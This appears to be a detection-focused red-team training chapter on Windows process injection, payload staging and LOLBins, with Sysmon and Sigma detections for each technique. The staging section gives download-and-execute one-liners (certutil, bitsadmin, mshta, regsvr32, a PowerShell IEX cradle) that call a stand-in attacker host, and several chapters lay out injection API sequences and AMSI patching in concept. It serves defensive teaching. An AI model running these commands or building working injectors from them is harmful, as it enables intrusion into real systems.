WARMUP — Payload Development & Execution (Detection-Forward)
From zero to principal-level. Every injection technique built from the OS primitive up. Every staging strategy paired with its telemetry. Every technique ends in its detection.
Table of Contents
- Chapter 1 — The Execution Problem and Why Detection Governs It
- Chapter 2 — OS Memory Primitives Underpinning Injection
- Chapter 3 — The Six Injection Families: API Sequence + Sensor + Detection
- Chapter 4 — ETW-TI: Why It Survives User-Mode Evasion
- Chapter 5 — AMSI in the Execution Path
- Chapter 6 — Staging Strategies and Their Telemetry
- Chapter 7 — LOLBins: Living Off the Land for Staging
- Chapter 8 — The Pyramid of Pain Applied to Execution
- Chapter 9 — Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes and OPSEC
- Interview Q&A
- References
Chapter 1 — The Execution Problem and Why Detection Governs It
What execution means at the engagement level
After achieving a foothold (Phase 03), escalating privilege (Phase 04), and mapping AD paths (Phase 05), the engagement needs to execute capability on the footholds: load code into memory, run it in the context of a privileged principal, and have it communicate with the C2 (Phase 08). This is the execution phase.
The word "execution" is sometimes used to mean "running an EXE." At the engagement level it means something more precise: getting a specific code sequence — the implant — into a process's address space in a way that the EDR, AMSI, and ETW sensors do not prevent, while leaving the minimum telemetry footprint that the engagement's OPSEC profile allows.
Why detection governs execution choice
There is no execution technique that is undetectable. Every technique:
- Requires OS primitives (memory allocation, cross-process write, thread creation).
- Those primitives generate events at the kernel boundary.
- Those events are observable by sensors (ETW-TI, Sysmon, kernel callbacks).
The correct framing: given this org's sensor inventory, which execution technique generates the smallest observable footprint at the sensors they actually have? That is an OPSEC and detection question, not a purely offensive one. And the deliverable is always: technique + sensors that see it + detection that fires.
Chapter 2 — OS Memory Primitives Underpinning Injection
All injection techniques compose from five OS primitives:
| Primitive | Win32 API | What it does | ETW-TI event |
|---|---|---|---|
| Allocate remote memory | VirtualAllocEx(target, ...) | Reserve+commit memory in another process | ALLOCATE_VIRTUAL_MEMORY |
| Write remote memory | WriteProcessMemory(target, addr, buf, size) | Copy bytes into another process's memory | WRITE_VIRTUAL_MEMORY |
| Protect remote memory | VirtualProtectEx(target, addr, size, prot) | Change page permissions (e.g., RW → RX) | (flags change; observable as modify) |
| Map section | NtMapViewOfSection(section, target, addr, ...) | Map a section object into another process | MAP_VIEW_OF_SECTION |
| Create remote thread | CreateRemoteThread(target, ..., start, arg, ...) | Create a thread in another process | (kernel thread callback) |
| Queue APC | QueueUserAPC(func, thread, arg) | Queue callback on an alertable thread | (kernel APC callback) |
ETW-TI (Event Tracing for Windows — Threat Intelligence provider) is the key: it is a
kernel-emitted provider. It records memory allocation, write, and protection events for
cross-process operations. Unlike user-mode ETW providers, it cannot be disabled by patching
EtwEventWrite in user mode — it fires in the kernel before the user-mode return. This is the
invariant Phase 07 formalizes: user-mode evasion does not blind ETW-TI.
Chapter 3 — The Six Injection Families: API Sequence + Sensor + Detection
3.1 Remote Thread Injection (T1055.003)
API sequence:
OpenProcess(PROCESS_ALL_ACCESS, target_pid)— get a handle to the target.VirtualAllocEx(target, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)— allocate RWX memory in target.WriteProcessMemory(target, remote_addr, shellcode, size)— copy payload.CreateRemoteThread(target, NULL, 0, remote_addr, NULL, 0, NULL)— start execution.
Sensors and events:
- Sysmon EID 10 (ProcessAccess): fires on
OpenProcess— recordsGrantedAccessmask and source/target images. APROCESS_VM_WRITEaccess from a non-system process toexplorer.exeis immediately suspicious. - Sysmon EID 8 (CreateRemoteThread): fires on
CreateRemoteThread— records SourceImage, TargetImage, StartAddress. - ETW-TI:
ALLOCATE_VIRTUAL_MEMORYandWRITE_VIRTUAL_MEMORYfor the remote operations.
Detection rule (Sigma):
title: Remote Thread Injection — Non-System Source
logsource: {product: windows, category: create_remote_thread}
detection:
selection:
SourceImage|startswith:
- 'C:\Users\'
- 'C:\Temp\'
TargetImage|endswith:
- '\explorer.exe'
- '\lsass.exe'
- '\svchost.exe'
condition: selection
tags: [attack.t1055.003]
3.2 APC Injection (T1055.004)
API sequence:
OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, target_pid)VirtualAllocEx(target, ...)→WriteProcessMemory(target, ...)(same as above)OpenThread(THREAD_SET_CONTEXT, alertable_tid)— get a handle to an alertable thread.QueueUserAPC(remote_addr, thread_handle, NULL)— queue the callback.
The callback executes the next time that thread enters an alertable wait state (SleepEx,
WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx with MWMO_ALERTABLE).
Key difference from remote thread: no CreateRemoteThread call → no Sysmon EID 8. The
detection relies on EID 10 (cross-process handle open) plus ETW-TI alloc/write events plus kernel
thread-notification callbacks for the APC delivery.
OPSEC note: quieter than remote thread because it does not create a new thread; relies on scheduler delivering the APC. But it requires finding an alertable thread.
3.3 Process Hollowing (T1055.012)
API sequence:
CreateProcess(benign_exe, CREATE_SUSPENDED)— create the decoy process, suspended.NtUnmapViewOfSection(child_handle, image_base)— unmap the original image.VirtualAllocEx(child_handle, image_base, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)— allocate space for attacker image at original base address.WriteProcessMemory(child_handle, image_base, pe_image, size)— write attacker PE.SetThreadContext(child_thread, new_ctx)— redirect entry point.ResumeThread(child_thread)— resume.
What this achieves: the process appears to be svchost.exe or notepad.exe in the process
list (inheriting the creation arguments) but executes attacker code. The child's address space
contains the attacker's PE, not the original.
Sensors and events:
- Sysmon EID 1:
CreateProcessof the decoy binary. - Sysmon EID 10: parent opens the child with
PROCESS_VM_WRITE. - ETW-TI:
WRITE_VIRTUAL_MEMORYinto the child process. - Memory forensics: the mapped image does not match the on-disk file —
pe-sievedetects this in live memory analysis.
Detection key: a process created with CREATE_SUSPENDED that is immediately written into via
cross-process write before being resumed — behavioral chain, not file hash.
3.4 DLL Injection (T1055.001)
API sequence:
1–3. Same OpenProcess/VirtualAllocEx/WriteProcessMemory as remote thread — but writing a DLL
path string (not shellcode).
4. GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA") — get the LoadLibraryA VA.
5. CreateRemoteThread(target, NULL, 0, LoadLibraryA_addr, dll_path_remote_addr, 0, NULL) — cause
target to call LoadLibraryA with the DLL path.
6. Target loads the DLL; DllMain executes as the main thread.
What the target sees: a new DLL mapped in its address space, loaded via LoadLibraryA.
Sensors:
- Sysmon EID 8: CreateRemoteThread to LoadLibraryA address.
- Sysmon EID 7: ImageLoad in the target process — the DLL path is logged. If the DLL is in
%TEMP%or%APPDATA%and is unsigned, this is a high-confidence alert. - Sysmon EID 10: OpenProcess with PROCESS_VM_WRITE.
- ETW-TI: alloc + write for the DLL path string.
3.5 Reflective DLL Injection (T1055.001 variant)
Standard DLL injection requires the DLL to be on disk (LoadLibraryA reads from disk). Reflective
DLL injection removes this requirement: the DLL contains a ReflectiveLoader export function
that maps the PE from memory without calling LoadLibraryA.
API sequence (caller side):
- OpenProcess + VirtualAllocEx + WriteProcessMemory — write the entire PE blob (not a path).
CreateRemoteThread(target, NULL, 0, reflective_loader_offset_within_blob, remote_addr, 0, NULL)
ReflectiveLoader (within the DLL — concept only):
- Locates its own PE headers in memory.
- Maps each section to the correct RVA.
- Resolves imports by walking the loaded module list in the PEB.
- Calls
DllMain.
No LoadLibraryA call; no file on disk.
Sensors:
- Sysmon EID 7: the image load event still fires (the kernel image-load callback fires when a
PE image is mapped). But
ImageLoadedmay be empty or "unknown" — there is no file backing the image. This is the "unbacked module" detection. - ETW-TI:
ALLOCATE_VIRTUAL_MEMORYwith execute permission +WRITE_VIRTUAL_MEMORYinto target. - Kernel image-load callback: fires when the PE is reflected —
PsSetLoadImageNotifyRoutinegets the VA of the mapped image; the image path is empty (no disk file).
Detection key: Sysmon EID 7 where Signed=false and the ImageLoaded path does not exist on
disk — the "unbacked module" pattern.
3.6 NtMapViewOfSection Injection (T1055.002)
Avoids VirtualAllocEx by using the Windows Section Object mechanism (the same primitive the
Windows loader uses to map executables into address spaces):
NtCreateSection(out_handle, SECTION_MAP_EXECUTE|SECTION_MAP_WRITE, NULL, size, ...)— create a shared memory section with execute+write permissions.NtMapViewOfSection(section, GetCurrentProcess(), local_addr, ...)— map it into the attacker's process (local view, writable).memcpy(local_addr, payload, size)— write payload into the local view.NtMapViewOfSection(section, target_process, remote_addr, ..., PAGE_EXECUTE_READ)— map the section into the target process (remote view, executable).NtCreateThreadEx(target_process, remote_addr, ...)— execute.
Why this is attempted as evasion: avoids VirtualAllocEx / WriteProcessMemory call sequence.
But ETW-TI fires on MAP_VIEW_OF_SECTION for the remote mapping — so the evasion changes the API
names, not the observable.
Chapter 4 — ETW-TI: Why It Survives User-Mode Evasion
User-mode hooks in ntdll.dll intercept Nt* syscalls before they transition to the kernel. If a
tool patches the ntdll hook (direct/indirect syscalls, unhooking) it bypasses the user-mode
interception — but the system call still executes in the kernel.
ETW-TI events are generated inside the kernel, not in user mode. The Microsoft-Windows-Threat- Intelligence provider registers in-kernel callbacks for:
ALLOCATE_VIRTUAL_MEMORYPROTECT_VIRTUAL_MEMORYMAP_VIEW_OF_SECTIONWRITE_VIRTUAL_MEMORYQUEUE_USER_APC_THREADandSET_THREAD_CONTEXT
These callbacks fire in kernel mode before returning to user mode. A user-mode ntdll patch does
not suppress them. Patching EtwEventWrite in the attacker's own process does not affect the
kernel-emitted events. This is the core invariant: no user-mode evasion blinds ETW-TI.
Phase 07 (EDR Internals) formalizes this as the residual-visibility theorem for injection: even with all user-mode sensors blinded, ETW-TI and kernel callbacks survive. The injection-technique detection mapper (Lab 01) models this directly.
Chapter 5 — AMSI in the Execution Path
AMSI (Antimalware Scan Interface) is a Windows API that allows applications to scan content before executing it. It sits at the execution boundary for:
- PowerShell: each script block (after de-obfuscation) is scanned before execution.
- .NET CLR: script/assembly buffers are scanned at load time.
- VBScript/JScript (wscript.exe/cscript.exe): script content scanned at parse time.
- Office macros (with AMSI integration): macro source scanned on execution.
AMSI does not prevent execution — it provides a hook for AV/EDR to scan the de-obfuscated
content. The AV/EDR calls AmsiScanBuffer and, if it returns AMSI_RESULT_DETECTED, the runtime
raises an exception.
AMSI bypass (concept only, detection focus): The bypass modifies amsi.dll in the calling
process's address space — typically patching AmsiScanBuffer to always return AMSI_RESULT_CLEAN.
This is itself observable:
- An RWX write to the
.textsection ofamsi.dll(Sysmon EID 7/ETW image-load write). - A memory scan that finds the patched bytes.
- Behavioral: AMSI scanning stops reporting detections after the bypass — sudden silence from a process that was scanning is anomalous.
Phase 07 covers AMSI residual-visibility in depth (Lab 02). Here the key point: AMSI is not a kernel sensor — it is a user-mode DLL. It is bypassable. The residual detection for AMSI bypass is the bypass behavior itself, not the script content the bypass would have scanned.
Chapter 6 — Staging Strategies and Their Telemetry
Getting execution capability to a host requires staging — the operation of transferring the implant from somewhere (C2 server, another compromised host, an embedded payload) to memory on the target.
Disk staging
What it is: download or drop a file to disk, then load/execute it.
Steps: (1) Network download (HTTP/S, SMB), (2) file write to disk, (3) process create or DLL load from disk.
Telemetry:
- Sysmon EID 11 (FileCreate): the file write.
- Sysmon EID 3 (NetworkConnect): the download connection.
- Sysmon EID 1 (ProcessCreate) or EID 7 (ImageLoad): the execution.
Detection: file written to a user-writable directory (temp, profile) by a process that also made a network connection shortly before — temporal correlation.
Memory-only staging
What it is: receive the payload over a network connection or from an existing process in memory, load it reflectively, never write to disk.
Steps: (1) C2 connection, (2) receive PE blob over socket, (3) reflective load.
Telemetry:
- Sysmon EID 3: the C2 network connection.
- ETW-TI:
ALLOCATE_VIRTUAL_MEMORYfor the PE allocation. - Sysmon EID 7: the image-load event (unbacked module — no file path).
Detection: image-load with no corresponding file-create + Signed=false + on_disk=false.
LOLBin staging
What it is: use a signed, trusted OS binary to download and/or execute the payload, inheriting the binary's trust level and digital signature.
Examples:
certutil.exe -urlcache -split -f http://attacker.example/stage.exe stage.exebitsadmin /transfer Job /download http://attacker.example/stage.exe C:\Temp\stage.exemshta.exe http://attacker.example/payload.htaregsvr32.exe /u /s /i:http://attacker.example/payload.sct scrobj.dllpowershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString('http://...')"
Telemetry:
- Sysmon EID 1: the LOLBin process-create with the suspicious command line.
- Sysmon EID 3: the outbound network connection from the LOLBin.
- Network proxy: HTTP GET to an unexpected domain from a system binary.
Detection: LOLBin process with staging keyword in command line (Sysmon EID 1) AND/OR outbound network from a LOLBin process (Sysmon EID 3). Both are well-covered by public Sigma rules.
Chapter 7 — LOLBins: Living Off the Land for Staging
A LOLBin (Living-Off-the-Land Binary) is a signed Windows system binary that has unintended capability — typically the ability to download, decode, or execute code — that an attacker exploits while inheriting the binary's signature and trust level.
Why they are used: AV/EDR products often allowlist system binaries by signature. A certutil.exe
download does not trigger signature-based detection on the binary itself. The detection must come
from behavioral signals: what the binary is doing (command line, network connection, file writes)
rather than what it is.
The LOLBAS catalog (lolbas-project.github.io) documents each binary's staging/execution
capability and the detection notes for each.
Key binaries for staging:
- certutil.exe:
-urlcache -split -f URL outputdownloads a file. Widely detected by Sysmon EID 1 CommandLine matching-urlcache+ Sysmon EID 3 fromcertutil.exe. - bitsadmin.exe:
/transfercreates a BITS job to download. BITS jobs are logged in Windows Event Log (EID 59, 60, 61 in the BITS-Client operational log). - mshta.exe: executes HTA (HTML Application) files, locally or via URL. Parent process is often a document or browser — Sysmon EID 1 parent-child anomaly.
- regsvr32.exe:
/i:URL scrobj.dlldownloads and executes a COM scriptlet. "Squiblydoo." Well-known Sigma rule on regsvr32 + remote URL argument.
Chapter 8 — The Pyramid of Pain Applied to Execution
| IOC layer | Example for injection | Adversary cost to change |
|---|---|---|
| File hash | Hash of the injector binary | Recompile (seconds) |
| imphash | Import table fingerprint | Add one dummy import |
| Tool name | "This process is calc.exe" | Rename the process image |
| Named artifact | Default named pipe / mutex name | Change C2 profile config |
| API call pattern | VirtualAllocEx → WriteProcessMemory → CreateRemoteThread | Redesign injection primitive |
| TTP | "Code injected into a remote process" (the behavior) | Redesign the entire technique |
For execution techniques, the bottom three layers (hash, imphash, tool name) are useless as durable detections — the recompile cycle is trivial. The API-call-pattern layer is where ETW-TI operates: the three-step injection sequence is a TTP-level behavioral observable. The top-level TTP ("code injection") is the detection rationale that justifies the investment.
Chapter 9 — Misconceptions
"Process hollowing hides the process from the task manager." No. The process appears in the
task manager under its decoy name (e.g. svchost.exe). What hollowing achieves is that the code
running is different from the code on disk. Memory forensics (pe-sieve, volatility) catches
this by comparing the in-memory PE against the on-disk file.
"Reflective DLL injection leaves no trace because there is no file." The image-load kernel callback still fires. Sysmon EID 7 still records the load — with an empty or unknown path (the "unbacked module" indicator). ETW-TI records the allocation and write. No disk trace ≠ no trace.
"APC injection is undetectable." No Sysmon EID 8, yes — but the cross-process write (EID 10)
and ETW-TI allocation events are the same as remote thread. APC injection requires an additional
OpenThread call. The difference is in thread creation, not in memory operations.
"LOLBins evade detection because they are trusted." They are trusted at the binary level — the binary's hash and signature are legitimate. The command line and network behavior are not trusted. Sysmon EID 1 CommandLine matching staging keywords fires regardless of the binary's signature. The LOLBAS catalog exists precisely because these detections are well-known.
"Staging in-memory means the blue team cannot find the payload." Memory-only staging leaves ETW-
TI alloc events and an unbacked image-load event. Live-system forensics (EDR memory scan, pe-sieve)
detects unbacked PE images in process address spaces. Memory-only reduces the disk artifact; it does
not remove the observable.
Lab Walkthrough
Lab 01 — Injection Technique Detection Mapper
Purpose. Given a technique name from the TECHNIQUES catalog, return the API sequence, required sensors, Sysmon EIDs, and detection key. Given a set of sensors, compute coverage (covered/partial/ blind) for a list of techniques and identify the best sensor to add.
Key data flow:
technique_info("remote_thread")→ returns the catalog entry for remote thread injection.coverage(["remote_thread", "apc_injection"], {"etw_ti"})→{"remote_thread": "partial", "apc_injection": "partial"}(both require etw_ti + others; one sensor present → partial).best_sensor_to_add(ALL, set())→ should return"etw_ti"because it appears in every technique's required_sensors.
Running:
cd lab-01-injection-technique-detection-mapper
LAB_MODULE=solution python3 -m pytest -q # 13 tests
Lab 02 — Payload Staging Analyzer
Purpose. Given a list of synthetic host events (process_create, network_connect, file_create, image_load), classify the staging strategy and return detection findings for each observable.
Key data flow:
lolbin_findings(events)— finds process_create events where the image is a LOLBin AND the command line contains a staging keyword (certutil +-urlcache).staging_network_findings(events)— finds network_connect events from LOLBin processes.unbacked_image_findings(events)— finds image_load events whereon_disk=False.classify_strategy(events)— "lolbin" if lolbin_findings non-empty; else "memory_only" if any unbacked image load; else "disk" if image_load of a file_created file; else "unknown".analyze(events)— returns{strategy, findings}.
Running:
cd ../lab-02-payload-staging-analyzer
LAB_MODULE=solution python3 -m pytest -q # 12 tests
Success Criteria
After completing this phase, without notes you can:
- Name the six injection families and their API sequences.
- State which Sysmon EID fires for each injection technique (EID 1/7/8/10).
- Explain why ETW-TI survives user-mode hook bypass.
- Explain AMSI — where it sits and why the bypass is itself detectable.
- Name the three staging strategies and their telemetry.
- Name three LOLBins used for staging and their detection.
- Apply the Pyramid of Pain to an execution technique detection question.
-
Pass both labs (13 + 12 tests green with
LAB_MODULE=solution).
Common Mistakes and OPSEC
Presenting injection without the detection. Every injection explanation in an interview or report must pair the API sequence with the sensor and the detection rule.
Claiming LOLBin staging is low-risk. Certutil + -urlcache is one of the most detected
patterns in enterprise environments. The LOLBAS catalog links directly to public Sigma rules.
Confusing "no file" with "no trace." Reflective injection has no disk artifact but has ETW-TI alloc events and an unbacked image-load event. Distinguish file-system artifact from telemetry artifact.
Missing the CREATE_SUSPENDED indicator for process hollowing. The detection for process
hollowing is behavioral: a suspended process created by a non-system parent, followed immediately
by a cross-process write. That chain is the finding, not the content of the hollowed process.
Interview Q&A
Q1: Walk me through remote thread injection — API sequence, sensors, detection rule.
Answer:
Remote thread injection is the most basic injection primitive. The sequence:
-
OpenProcess(PROCESS_ALL_ACCESS, target_pid)— acquire a handle to the target process. ThePROCESS_VM_WRITEaccess flag in the access mask causes Sysmon EID 10 (ProcessAccess) to fire, recording the calling process image, the target process image, and theGrantedAccessmask. -
VirtualAllocEx(target_handle, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)— allocate RWX memory in the target. ETW-TI firesALLOCATE_VIRTUAL_MEMORYwith the target process handle, the allocated address, and the page protection. -
WriteProcessMemory(target_handle, remote_addr, shellcode, size, NULL)— copy payload to the remote address. ETW-TI firesWRITE_VIRTUAL_MEMORYwith the write target and size. -
CreateRemoteThread(target_handle, NULL, 0, remote_addr, NULL, 0, NULL)— create a thread at the payload's entry point. Sysmon EID 8 (CreateRemoteThread) fires, recordingSourceImage(the injector),TargetImage(the victim), andStartAddress.
Detection rule:
title: Remote Thread to System Process from User Path
logsource: {product: windows, category: create_remote_thread}
detection:
selection:
SourceImage|startswith:
- 'C:\Users\'
- 'C:\Temp\'
- 'C:\ProgramData\'
TargetImage|endswith:
- '\svchost.exe'
- '\explorer.exe'
condition: selection
This fires on any remote thread created by a user-directory process targeting a system process — the behavior, not the binary identity. It survives recompile and binary renaming.
Q2: What is process hollowing? How does it differ from remote thread injection, and what is the residual detection?
Answer:
Process hollowing (T1055.012) creates a decoy process in a suspended state, replaces its image
with attacker code, then resumes it. The decoy process is typically a legitimate system binary
(svchost.exe, notepad.exe, dllhost.exe) so that the resulting process appears legitimate
in the process list.
Steps:
CreateProcess(benign_exe, CREATE_SUSPENDED)— the decoy process is created but not yet running.NtUnmapViewOfSection(child_handle, image_base)— unmap the legitimate image from the child's address space.VirtualAllocEx+WriteProcessMemory— write the attacker's PE at the original image base.SetThreadContext— redirect the child's main thread entry point to the new PE's entry point.ResumeThread— start execution.
Difference from remote thread: Remote thread injection adds a new thread to an existing, running process. Process hollowing replaces the image of a new, suspended process before it executes even a single instruction. The result is a process running under a different name and image path than what is on disk.
Residual detection:
The observable footprint is the combination of:
- Sysmon EID 1:
CreateProcesswithCREATE_SUSPENDED(the creation flag shows in Sysmon if configured; parent-child relationship is usually anomalous — e.g., a user-space process spawningsvchost.exe). - Sysmon EID 10: the parent opens the child with
PROCESS_VM_WRITEaccess — a parent writing to its own child immediately after process creation. - ETW-TI:
WRITE_VIRTUAL_MEMORYfrom the parent to the child's image base. pe-sieve/ live memory scan: the in-memory PE image does not match the on-disk PE — hash mismatch between the live process memory andC:\Windows\System32\svchost.exe.
The detection key: the CREATE_SUSPENDED + cross-process-write + SetThreadContext sequence,
not the content of the hollow.
Q3: What makes reflective DLL injection different, and why does it leave an "unbacked" image load?
Answer:
Standard DLL injection uses CreateRemoteThread with LoadLibraryA as the start address. The
OS loader then loads the DLL from disk — it reads the file at the DLL path, maps sections, resolves
imports via LoadLibraryA. The DLL must exist on disk.
Reflective DLL injection removes the disk requirement: the DLL contains a special export called
ReflectiveLoader. The injector writes the entire PE blob to remote memory (not a path string) and
starts a thread at the ReflectiveLoader entry point offset within that blob.
ReflectiveLoader (concept — no code): it is a self-contained PE mapper. It locates its own PE
headers (by walking memory from its current execution address to find the MZ / PE\0\0 magic),
maps each section at the correct RVA, walks the loaded-module list in the PEB to resolve imports
without calling LoadLibraryA, and calls DllMain. The entire operation happens in memory; no
file is ever written to disk and no LoadLibraryA or LdrLoadDll is called.
Why "unbacked": every PE image has a file backing on disk — the page-fault handler for code
pages reloads them from the file when needed. A reflectively loaded PE has no file backing: it was
copied into a private allocation. The kernel image-load callback (PsSetLoadImageNotifyRoutine)
still fires when the PE is mapped (because the callback fires on PE mapping events, not just file-
backed loads), but the image path it provides is empty or null — there is no file to point to.
Sysmon EID 7 records this as ImageLoaded = "" or ImageLoaded = Unknown with Signed = false.
That combination — unsigned image load with no backing file — is the high-confidence "unbacked
module" detection that EDR products alert on.
Q4: Explain APC injection — what is an APC, what does alertable mean, and how is it detected?
Answer:
An APC (Asynchronous Procedure Call) is a user-mode callback mechanism in Windows. A thread can have a queue of APC callbacks associated with it. Those callbacks execute only when the thread enters an alertable wait state — a blocking API call made with the alertable flag set, such as:
SleepEx(timeout, TRUE)— theTRUEis the alertable flag.WaitForSingleObjectEx(handle, timeout, TRUE).MsgWaitForMultipleObjectsEx(..., MWMO_ALERTABLE).
The OS delivers all queued APCs when a thread calls an alertable wait, executing them before returning from the wait.
APC injection exploits this: the attacker:
- Finds a thread in the target process that is likely to enter an alertable wait (GUI threads,
worker threads in thread pools, threads in
SleepExloops). - Allocates + writes payload to the target process (same VirtualAllocEx + WriteProcessMemory as remote thread).
- Calls
QueueUserAPC(payload_addr, target_thread_handle, NULL). - The next time the target thread calls an alertable wait, the payload executes.
Detection differences from remote thread:
- No Sysmon EID 8 — no
CreateRemoteThreadcall. - Sysmon EID 10 still fires on the
OpenProcess(withPROCESS_VM_WRITEfor the alloc/write) and on theOpenThread(withTHREAD_SET_CONTEXTfor the APC queue). - ETW-TI:
ALLOCATE_VIRTUAL_MEMORY+WRITE_VIRTUAL_MEMORYsame as remote thread; plusQUEUE_USER_APC_THREADif the EDR subscribes to that ETW-TI callback. - Kernel thread callback: the APC delivery is observable via
PsSetCreateThreadNotifyRoutine(fires on APC callback initiation in some EDR implementations).
The detection: cross-process handle open with PROCESS_VM_WRITE (EID 10) + ETW-TI alloc/write,
absent a corresponding CreateRemoteThread event — the "silent injection" pattern that signals
APC or section-based injection rather than remote-thread injection.
Q5: What are the three staging strategies, and for each, name the host-telemetry artifact and the detection?
Answer:
1. Disk staging. The payload is downloaded or dropped as a file, then executed from disk.
Host telemetry:
- Sysmon EID 3: outbound network connection (the download).
- Sysmon EID 11: file creation in a user-writable directory (the dropped file).
- Sysmon EID 7 or EID 1: the image load or process creation of the dropped file.
Detection: temporal correlation — Sysmon EID 3 (network) followed within seconds by EID 11
(file write) from the same process, followed by EID 1 (execution) of the written file path.
Sigma rule on FileCreate in %TEMP% / %APPDATA% by a process that made an external
connection, or on ProcessCreate where image path matches a recently created file.
2. Memory-only staging. The payload is received over a network connection and loaded reflectively without being written to disk.
Host telemetry:
- Sysmon EID 3: the C2 network connection (still observable).
- ETW-TI:
ALLOCATE_VIRTUAL_MEMORYfor the PE allocation (cannot be hidden). - Sysmon EID 7: image-load event with
Signed=falseand no backing file (unbacked module).
Detection: Sysmon EID 7 where ImageLoaded is empty or in a temp path and Signed=false —
the "unbacked module" detection. The absence of a prior EID 11 for the image path is the
confirming signal that no file was written.
3. LOLBin staging. A signed OS binary is used to download or execute the payload.
Host telemetry:
- Sysmon EID 1: the LOLBin process-create with staging-relevant command line (
certutil -urlcache,bitsadmin /transfer,mshta http://...). - Sysmon EID 3: outbound network connection from the LOLBin process.
- Network proxy: HTTP GET from a system binary to an unexpected external host.
Detection: Sysmon EID 1 where Image|endswith: certutil.exe (or any LOLBAS binary) and
CommandLine|contains: -urlcache (or other staging keyword). And/or EID 3 where the
process image is a known LOLBin and the destination is an external IP/domain. Public Sigma rules
exist for every major LOLBin staging pattern. The signed binary status does not suppress these
detections — they key on behavior, not signature.
Q6: Why does ETW-TI survive user-mode hooking bypass, and why is it the residual injection detection?
Answer:
ETW-TI stands for Event Tracing for Windows — Threat Intelligence provider. It is a Windows kernel component that emits telemetry for memory-manipulation operations. The key architectural point: it runs in kernel mode.
Standard user-mode hook bypass (direct syscalls, unhooking ntdll): when a program patches the
Nt* function preambles in its own copy of ntdll.dll, or uses direct syscall stubs to jump
to the kernel system-call entry point, it bypasses the user-mode detour installed by the EDR agent.
The user-mode hook is not called. But the system call still executes in the kernel — and ETW-TI
callbacks are registered in the kernel as part of the system call implementation.
Specifically, NtAllocateVirtualMemory (the kernel-mode system call behind VirtualAllocEx)
triggers ETW-TI's ALLOCATE_VIRTUAL_MEMORY event as part of its execution path inside the kernel,
before returning to user mode. The user-mode ntdll detour was bypassed, but the kernel-side ETW-TI
callback was not.
Similarly, patching EtwEventWrite in user mode (to suppress ETW output from the attacker's
own process) only affects user-mode ETW providers. The ETW-TI provider emits from the kernel
context; EtwEventWrite in user mode is irrelevant.
This makes ETW-TI the residual sensor for injection: after all user-mode evasion (ntdll
unhooking, direct syscalls, AMSI bypass, ETW user-mode patch), ETW-TI's alloc/write/map events
still fire. The injection technique detection mapper (Lab 01) models etw_ti as a required sensor
for every injection technique — because it is the one that no user-mode evasion removes.
The detection built on ETW-TI is therefore a TTP-level detection: it fires on the behavior (cross-process memory allocation with execute permission), not on a tool name or file hash. It survives recompilation, renaming, and all user-mode evasion — only redesigning the injection primitive removes it.
References
- Windows Internals, 7th ed. (Russinovich et al.) — chapters on virtual memory, section objects, process creation, APC.
- Microsoft Docs:
CreateRemoteThread,VirtualAllocEx,WriteProcessMemory,NtMapViewOfSection,QueueUserAPC,SetThreadContext. - MITRE ATT&CK: T1055 and all sub-techniques (T1055.001 through T1055.015).
- ETW Threat Intelligence provider — Microsoft documentation; Elastic Security Labs blog posts on ETW-TI internals.
- Sysmon event reference — EID 1, 3, 7, 8, 10, 11.
- LOLBAS project —
lolbas-project.github.io— per-binary staging techniques and detections. - SigmaHQ —
github.com/SigmaHQ/sigma— T1055.* and T1218.* rules. - MITRE ATT&CK data sources documentation — "data component" concept mapping to Sysmon EIDs.